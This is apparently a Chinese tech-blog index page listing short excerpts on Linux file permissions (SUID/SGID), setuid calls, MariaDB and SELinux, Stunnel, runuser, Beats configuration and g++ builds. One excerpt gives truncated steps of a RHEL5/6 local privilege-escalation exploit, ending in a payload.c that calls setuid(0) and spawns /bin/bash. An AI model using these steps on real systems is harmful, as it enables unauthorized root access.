文件名称 在 Linux 底下,每个档案或文件夹的文件名称最长能够到达 255 的字符,加上完整路径时,最长可达 4096 个字符; 因为 Linux 在文字接口下的一些指令操作关系,一般来说,您在设定 Linux 底下的文件名时, 最好能够避免一些特殊字符比較好!比如底下这些: * ? > < ; ...
分类:
系统相关 时间:
2017-05-02 19:48:46
阅读次数:
183
用 ls –l 命令时,能看到三个八进制数字,表示文件的权限。其实文件的权限应该用4个八进制文件来表示,没有显示的那个是第一位,用来设定一些特殊的权限,这个八进制数字的三个位是:SUID、SGID、stick-bit。 SUID:当设置了SUID 位的文件被执行时,该文件将以所有者的身份运行,也就是 ...
分类:
其他好文 时间:
2017-04-28 13:41:04
阅读次数:
241
就是模拟setuid seteuid setreuid setresuid,感觉代码比书上大段的文字好记,就写成代码形式了。 main函数是TLPI第9章习题第1道的运行结果,然后模拟了一遍功能,后面几道也很简单就能做出来了。以后忘记的话看遍代码就能很快记起来了。 ...
分类:
系统相关 时间:
2017-04-07 09:57:30
阅读次数:
239
From: https://www.rootusers.com/how-to-fix-mariadb-10-0-29-selinux-update-failure/ 安装mysql 10.0.29后,启动mysql失败: 可以看到,myql服务状态是down。错误显示mysqld_safe_help ...
分类:
数据库 时间:
2017-04-05 14:07:11
阅读次数:
941
Stunnel可加密网络数据的TCP连接,采用Client/Server将CIient端数据采用SSL加密,安全传输到指定的Server端再解密还原然后发送到目的端口,其使用TLS对tcp协议进行加密 安装: wget http://www.stunnel.org/download/stunnel/ ...
分类:
其他好文 时间:
2017-03-31 19:10:03
阅读次数:
310
说明:RHEL5—RHEL6下都可以提权1.ls-ld/tmp/2.ls-l/bin/ping3.mkdir/tmp/exploit;ln/bin/ping/tmp/exploit/target4.exec3</tmp/exploit/target;rm-rf/tmp/exploit/;ls-l/proc/$$/fd/35.vimpayload.cvoid__attribute__((constructor))init(){setuid(0);system("/bin/bash");..
分类:
其他好文 时间:
2017-03-30 20:02:49
阅读次数:
293
runuser命令runuser命令使用一个替代的用户或者组ID运行一个Shell。这个命令仅在root用户时有用。仅以会话PAM钩子运行,并且没有密码提示。如果用一个非root用户,并且该用户没有权限设置userID,这个命令将会因为程序没有setuid而失败。因runuser不会运行认证和账户PAM钩子,..
分类:
其他好文 时间:
2017-03-09 15:54:41
阅读次数:
1881
linux文件特殊权限SUID:setUID简介:SUID权限只对二进制程序有效执行者对于该程序需要具有可执行权限本权限仅在执行该程序的过程有效,执行者将具有该程序拥有者的权限在文件拥有suid权限时,用户只要有执行这个文件的权限就会获得这个文件的属主权限SGID简介:user对此目录具..
分类:
系统相关 时间:
2017-02-23 22:58:39
阅读次数:
258
背景: 初学者经常搞不清楚,一个main.cpp文件,调用了某库(可能静态也可动态)中的函数,如何将它跑起来。 编译: 缺少头文件,加上再编译(编译只与头文件有关,不需要关注库): g++ -c main.cpp -I/home/ww/2.src/leveldb/include OK,生成main. ...
分类:
其他好文 时间:
2017-01-17 07:49:47
阅读次数:
256
Beats配置文件是以YAML语法,该文件包含用于所有的beats的通用配置选项,以及其特点的选项。下面说说通用的配置,特定的配置要看各自beat文档。 通用的配置如下几部分: Shipper Output Logging(可选) Run Options(可选) Shipper 包含beat配置选项 ...
分类:
其他好文 时间:
2017-01-09 13:20:11
阅读次数:
276